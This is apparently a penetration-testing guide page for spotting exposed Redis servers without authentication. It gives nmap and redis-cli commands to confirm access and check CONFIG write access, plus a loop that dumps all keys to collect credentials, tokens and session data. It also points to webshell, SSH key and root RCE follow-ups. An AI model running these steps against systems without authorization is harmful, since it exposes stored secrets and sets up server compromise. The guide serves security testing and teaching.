Skip to content
HackIndex logo

HackIndex

Redis Unauthenticated Access – No-Auth Enumeration and Exploitation

3 min read Mar 12, 2026

Redis ships with no authentication enabled by default. Any client that can reach port 6379 gets full access — read, write, config changes, everything. Before running any other technique, confirm whether auth is required. If the server is open, you have a starting point for every other Redis exploitation page on this site.

Step 1 – Confirm Redis is Listening

┌──(kali㉿kali)-[~]
└─$ nmap -p 6379 --open $TARGET_IP

Check for non-standard ports too:

┌──(kali㉿kali)-[~]
└─$ nmap -p 6379,6380,6381,16379 --open $TARGET_IP

Redis Sentinel runs on 26379. Redis Cluster bus runs on 16379. Check both if the target looks like a cluster deployment.

Step 2 – Test for Unauthenticated Access

Connect with redis-cli and run PING:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 ping 
PONG

If authentication is required, the server returns:

NOAUTH Authentication required.

In that case, move to https://hackindex.io/services/redis/exploitation/authenticated-access.

Step 3 – Pull Server Information

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 info

Key fields to note from the output:

  • redis_version — needed for CVE matching

  • os — confirms OS type; Debian/Ubuntu means CVE-2022-0543 is worth testing

  • config_file — shows the Redis config path on disk

  • role — master or slave/replica

  • connected_slaves — confirms replication is active

  • used_memory_human — gives a sense of how much data is stored

  • rdb_last_bgsave_status — confirms disk write is working

Step 4 – Check Config Write Access

The CONFIG command is the most powerful attack surface in Redis. Confirm it is available:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir

If this returns a directory path rather than an error, CONFIG is accessible. This is required for cron, SSH key, and webshell write techniques.

Check the current working directory and dbfilename:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dbfilename

Note both values — you will need them for cleanup after write-based exploits.

Step 5 – Enumerate Keys and Data

List all keys:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 keys '*'

On large databases, use SCAN instead to avoid blocking the server:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 scan 0 count 100

Read a specific key:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 get <keyname>

Dump all key-value pairs in one pass:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 --scan | while read key; do
echo "KEY: $key"
redis-cli -h $TARGET_IP -p 6379 get "$key"
done

Look for keys containing credentials, tokens, session data, or configuration values — Redis is frequently used as a session store and cache for web applications.

Step 6 – Check the Running User

If you have CONFIG access, check what user Redis is running as by writing a test file and checking its ownership from another foothold. Or check directly via a Lua eval call:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval "return redis.call('config','get','dir')" 0

If you have a shell on the target already:

┌──(kali㉿kali)-[~]
└─$ ps aux | grep redis

Redis running as root dramatically widens the write-based attack surface. See https://hackindex.io/services/redis/privilege-escalation/redis-root-rce for exploitation as root.

What to Do Next

With unauthenticated access confirmed and CONFIG available, the main exploitation paths are:

References